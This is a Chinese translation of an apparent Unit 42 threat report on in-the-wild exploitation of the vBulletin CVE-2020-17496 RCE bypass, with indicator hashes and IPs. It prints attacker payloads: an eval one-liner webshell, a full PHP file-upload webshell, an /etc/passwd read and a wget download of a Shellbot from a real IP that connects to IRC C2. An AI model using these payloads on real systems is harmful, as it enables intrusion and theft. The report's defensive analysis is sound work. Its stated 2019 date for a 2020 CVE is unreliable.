vBulletin 远程命令执行漏洞(CVE-2020-17496)在野外利用
2019 年 9 月,公布了关于 vBulletin 一个远程命令执行漏洞,漏洞编号为 CVE-2020-17496。当时国外安全研究人员发布了关于该漏洞的分析文章。通过利用该漏洞,攻击者可以针对 5.0.0 至 5.5.4 版本的 vBulletin 进行攻击。
近期国外安全研究人员发现关于 vBulletin 的 CVE-2020-17496 在野外发现了该漏洞。该漏洞是 CVE-2019-16759 的绕过,攻击者可以利用该漏洞发送带有指定模版名称和恶意 PGP 代码的 HTTP 请求,达到远程执行代码。使用 vBulletin 搭建的网站目前已经超过 100 万个站点,其中包含大型企业和组织,建议立即修复。
在此文章中,我们提供了漏洞修复的详细方案和用漏洞验证的 POC 以及野外攻击的情况。
漏洞分析(CVE-2020-17496)
模版呈现是 vBulletin 的一项功能,可以将 xm l 模版转换为 PHP 代码并且可以执行。从 5.0 开始,vBulletin 通过 Ajax 请求来进行模版渲染。使用功能 staticRenderAjax
执行渲染。如图1,该函数的值来自 $_REQUESTS
,$_GET
和 $_POST
。因此这些参数的模版名称以及相关的配置用户是可以控制的,正是因为该情况导致出现了 CVE-2020-17496。
当攻击者发送恶意 Ajax 请求时,在请求包中包含模版名称 widget_php
以及放置参数的 widgetConfig['code']
中的恶意代码。渲染引擎会将图 2 中的 xml 模版 widget_php
转换为 PHP 代码,然后通过图 3 中的 eval
函数进行执行,在图中可以代码恶意代码为 vB5_Template_Runtime::evalPhp(” . $widgetConfig['code']
$final_rendered = ” . ”;
if (empty($widgetConfig) AND !empty($widgetinstanceid))
{
$final_rendered .= ‘ ‘ . ”;
$widgetConfig = vB5_Template_Runtime::parseData(‘widget’, ‘fetchConfig’, $widgetinstanceid);
$final_rendered .= ” . ‘ ‘;
}
else {
$final_rendered .= ”;
}
$final_rendered .= ” . ‘ ‘ . ”;
if (!empty($widgetConfig))
{
$final_rendered .= ‘ ‘ . ”;
$widgetid = $widgetConfig[‘widgetid’];
$final_rendered .= ” . ‘ ‘ . ”;
$widgetinstanceid = $widgetConfig[‘widgetinstanceid’];
$final_rendered .= ” . ‘ ‘;
}
else
{
$final_rendered .= ”;
}
$final_rendered .= ” . ‘ ‘ . vB5_Template_Runtime::includeTemplate(‘module_title’,array(‘widgetConfig’ => $widgetConfig, ‘show_title_di vider’ => ‘1’, ‘can_use_sitebuilder’ => $user[‘can_use_sitebuilder’])) . ‘ ‘ . ”;
if (!empty($widgetConfig[‘code’]) AND !vB::getDatastore()->getOption(‘disable_php_rendering’))
{
$final_rendered .= ‘ ‘ . ” . ‘ ‘ . vB5_Template_Runtime::evalPhp(” . $widgetConfig[‘code’] . ”) . ‘ ‘;
}
else
{
$final_rendered .= ‘ ‘ . ”;
if ($user[‘can_use_sitebuilder’])
{ $final_rendered .= ‘ ‘ . vB5_Template_Runtime::parsePhrase(“click_edit_to_config_module”) . ‘ ‘;
}
else
{
$final_rendered .= ”;
}
$final_rendered .= ” . ‘ ‘;
}
$final_rendered .= ” . ‘ ‘;
从 5.5.5 版本开始,针对 CVE-2019-16759
的修复方式通过 callRender()
进行处理,如图4所示。在渲染之前会进行检测模版的名称是否为 widget_php
,如果是该名称将不给予渲染。
另外的一种方式是通过 evalPhp()
函数来进行检查当前模版的名称。修复之后,widget_php
是可用于执行PHP代码的唯一模板,如图5所示。
在修复补丁使 widget_php
成为可用于 PHP 代码执行的唯一模板,同时限制了用户对该模板的访问。但是,在最新的绕过中,我们发现可以通过另外一个模版来进行加载此模版,模版的名称为 widget_tabbedcontainer_tab_panel
。
在上面的图 6 中 widget_tabbedcontainer_tab_panel
模版可以用于渲染多个字模版。渲染模版本身并不直接导致命令执行,但是可以通过该方式进行加载其他的字模版来进行渲染。
下面的代码是从 xm l 的 widget_tabbedcontainer_tab_panel
模版渲染的 PHP 代码。
$final_rendered = ” . ”;
$panel_id = ” . vB5_Template_Runtime::vBVar($id_prefix).vB5_Template_Runtime::vBVar($tab_num) . ”;
$final_rendered .= ” . ” . ” . ‘ ‘ . ”;
if (isset($subWidgets) AND (is_array($subWidgets) OR $subWidgets instanceof ArrayAccess))
{
foreach ($subWidgets AS $subWidget)
{
$final_rendered .= ‘ ‘ . vB5_Template_Runtime::includeTemplate($subWidget[‘template’],array(‘widgetConfig’ => $subWidget[‘config’], ‘widgetinstanceid’ => $subWidget[‘widgetinstanceid’], ‘widgettitle’ => $subWidget[‘title’], ‘tabbedContainerSubModules’ => $subWidget[‘tabbedContainerSubModules’], ‘product’ => $subWidget[‘product’])) . ‘ ‘;
}
}$final_rendered .= ” . ‘’;
在 PHP 代码中,可以看到渲染引擎将 $subWidgets
进行遍历 subWidget
进行属性,并且创建一个新的模版对象,之后将它渲染为 PHP 代码。在这种情况下,如果字符串 widget_php
设置为subWidget
变量中,这样就可以将代码放置在 $widgetConfig['code']
中,最后达到 CVE-2019-16759 命令执行的效果。
漏洞验证
根据分析,我们可以构建利用代码以及证明该漏洞是否存在。函数callRender的调用需要 POST HTTP 方法(根据图7)。
在图 8 中我们通过 phpinfo 执行的结果来进行判定,漏洞验证也通过 phpinfo 来进行验证,使其结果保持一致。
在请求的 URL 中,字模版的名称 widget_php
以及恶意代码 phpinfo();exit();
在数组 subWidget
中的第一个元素,在访问之后将会触发并且执行恶意代码。
野外利用:CVE-2020-17496
我们在 2020 年 8 月 10 日捕捉到一起 CVE-2020-17496 的利用事件,后面发现不同的 IP 来进行尝试攻击。
扫描
根据我们第一时间捕捉的恶意流量,发现有多个 IP 在进行扫描。在扫描可能存在安全风险的网站,这些扫描都尝试执行系统命令 echo
、id
,通过执行命令攻击者可以判定是否可以确认漏洞存在。
敏感文件读取
一些攻击者尝试通过该漏洞进行读取服务器文件。通过执行 shel_exec()
和系统命令 cat ../../../../../../../../../../etc/passwd
来进行读取 /etc/passwd
中的敏感信息。
Web Shell
一些攻击者尝试通过该漏洞进行写入 Webshell。
图 16 中就是通过 file_put_content()
进行尝试将 Webshell 代码 <?php @eval($_POST[“x”]);?>
写入 conf.php 文件中。如果攻击成功,攻击者可以通过之前的 Webshell 进行控制服务器。
图17 为通过下载的方式进行下载恶意代码(Webshell),保存到服务器中。以下代码中提供了一个文件上传功能,可以通过上传到方式进行实现后续的操作。
<?php
error_reporting(0);
echo “Jasmine<br>”;
echo”<font color=#ff0000>”.php_uname().””;
print “\n”;$disable_functions = @ini_get(“disable_functions”);
echo “<br>DisablePHP=”.$disable_functions; print “\n”;
echo”<br><form method=post enctype=multipart/form-data>”;
echo”<input type=file name=f><input name=k type=submit id=k value=upload><br>”;
if($_POST[“k”]==upload){
if(@copy($_FILES[“f”][“tmp_name”],$_FILES[“f”][“name”])){
echo”<b>”.$_FILES[“f”][“name”];
}else{
echo”<b>Gagal upload cok”;
}
}
?>
图 18 显示该漏洞正在尝试将 ba se64 编码的 PHP 代码写入 Web主机目录中的文件。新页面将导致一个任意的文件上传入口点,从而使攻击者可以进行网络攻击的后续步骤。
Shellbot
还有一些攻击者通过该漏洞进行下载基于 Perl 脚本的恶意软件(Shellbot)与 shell_exec()
配合,通过 wget
从 [[http://178.170.117.50/bot1](http://178.170.117.50/bot1)]([http://178.170.117.50/bot1](http://178.170.117.50/bot1))
进行下载并且执行它。
执行脚本之后,会连接到 66.7.149.161:6667
的机遇 IRC 的命令和控制的 C2 服务中。它可以通过 IRC 通道进行接收命令,将执行一些端口扫描、文件下载、执行系统命令等操作。
Sora
发现一种利用程序,可以从攻击者的服务器下载 Mirai 的变体(Sora)。但是,该 payload 无效,因为它使用了错误的 HTTP 方法。
总结
我们通过威胁检测平台针对 vBulletin 的 CVE-2020-17496 漏洞进行多种利用尝试,作为一款在市场上很久的产品很容易成为攻击者的目标,8 月 10 日 vBulletin发布了补丁修复了该漏洞。
参考
IOC
Shellbot Hash
88DDD8A1B77477AAFFD1BB163B9770D72A77BF29BFCA226E79C28D15BEF983ED
Mirai Variant (Sora) Hashes
03bfec4e039805091fe30fa978d5ec7f28431bb0fca4b137e075257b3e1c0dd4
b4cb04709f613b5363514e75984084ef1d3eaba7c50638b2a5a284680831b992
94f02ea10b4546da71bd46916f0fe260b40c8ed4deccf0588687e62ca3819ad7
bd72be4f7d64795b902f352e47b1654eaee6b5a71cddfaf2c245dba1b2d602eb
77b4f7f0d66a0333d756116eaae567a8540392f558c49d507bf6da10bd047fe3
051baaabf205c7c0f5fd455ac5775447f9f3df0cc9bc5f66f6d386f368520581
fd63b9c7e9dce51348d9600f67139ea8959fdbbca84d505b5e9317bbdca74016
8b5810e07cf21ebb1c2ff23c13ce88022c1dd5bc2df32f4d7e5480b4ddb82de2
ded23c3f5f2950257d8cfb215c40d5f54b28fde23c02f61ce1eb746843f43397
80fb66c6b1191954c31734355a236b7342dc3fd074ead47f9c1ed465561c6e8c
f30bb52c0e32dfe524fc0dfda1724a1ffb88647c39c33a66dfd66109fecceec7
1900e09983acf7ddc658b860be7875a527bc914cbffcf0aaff0b4182ecef047b
fa7575bd0cd2a83995ea34d8d008eb07c2062a843e5e155e2e0d8b35a0cf7901
68132010d9a543a6a2a9ea61e771cf2c041cea259cc76affdfe663e20c130a45
ab671fc0c68ed1c249c2bb52b28ae3d70df8bd1614d86f6d6a3f4c21d7841d72
4ff21e69b11566336f4fd56ac2829cdcf215182e8ff807f8e744c0a2b08f726f
a7373fa18b367edbcd4462345a5da087821e34734bdf05d1c4060a7694868c5e
dec56b06e03665d2c656b530d3b6f90ca0ec2925bec4559d8a2cec5da3a7700b
c379139347470254f19041f05e19f5454750e052f04f6d377ec8df19ce959519
fed0f0d3e9d990f8a83b86d29e586d46e7cac54efb0eae2f07112d61afb9b885
84448ee487010d6fed918febe230b71a8ec1266e300f85933014db2566645857
994889422b24a5b4759eda30265f1b933a458e15927b4f7949d4a3ba79eb43ca
39b6d72101adae2b71815328599f8e67ee27955849dfb3825c5b2731d504696b
0747988a77c89c1267a882b663fbd4168e25aed239fb1553e65bb4ac74ecda67
99d06d1c82af244b1533c1173ca10da7f29bfbf753073f20f5dc7a0016152a4c
372ab5c1c23d198b594353239a96d6cf620cc56588f5fdf5dfb32919dd019020
ef2a6b37568e14dacd5d8894ce2e4bbc593ffd58e197827a052d2c2f0a756949
1cf9ac9150d59de25ca5ac1f855fadf1b03f13b4e9ced63a12acef9c8292a648
cf172b4629e321e4c78a1d0717130bbb693392712a86d3d85d035bae1f377dbd
1a0293d4863ccef36e138e4f6c65ad013a403db0ffc69ebaf04b43b61b4ba798
2a14b9b01ec78a332be40339a782a2cf2bf9a237eee9cc5fcd40fa3385b1d4fb
f56150ff764328ee59eeaafe5e2d63574b475a69386c9ac4978006070807edc9
9572a532c08f81d7957ffd4639f95c34a2085f119fa426d8ea911af72bfd0b4a
113ad91a1aab3abcd704fe8670fbc043f049586462a4c58dabdd44c14519ea66
f9d7d9b11c60bd52625e7d9a33516c2bac96ac542a22696d0da3a9c536dae11b
6f01ef6670ecd79f9b322dd8521bc13a73037e7f84fa9aad35d11d964d8f9e60
2960748648bc2cd1b3db5e1e1ce9931a6588d65ae91c6d09e6b8bf2d78b00263
IP 地址
66.7.149.161
178.170.117.50
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://unit42.paloaltonetworks.com/cve-2020-17496/
最新评论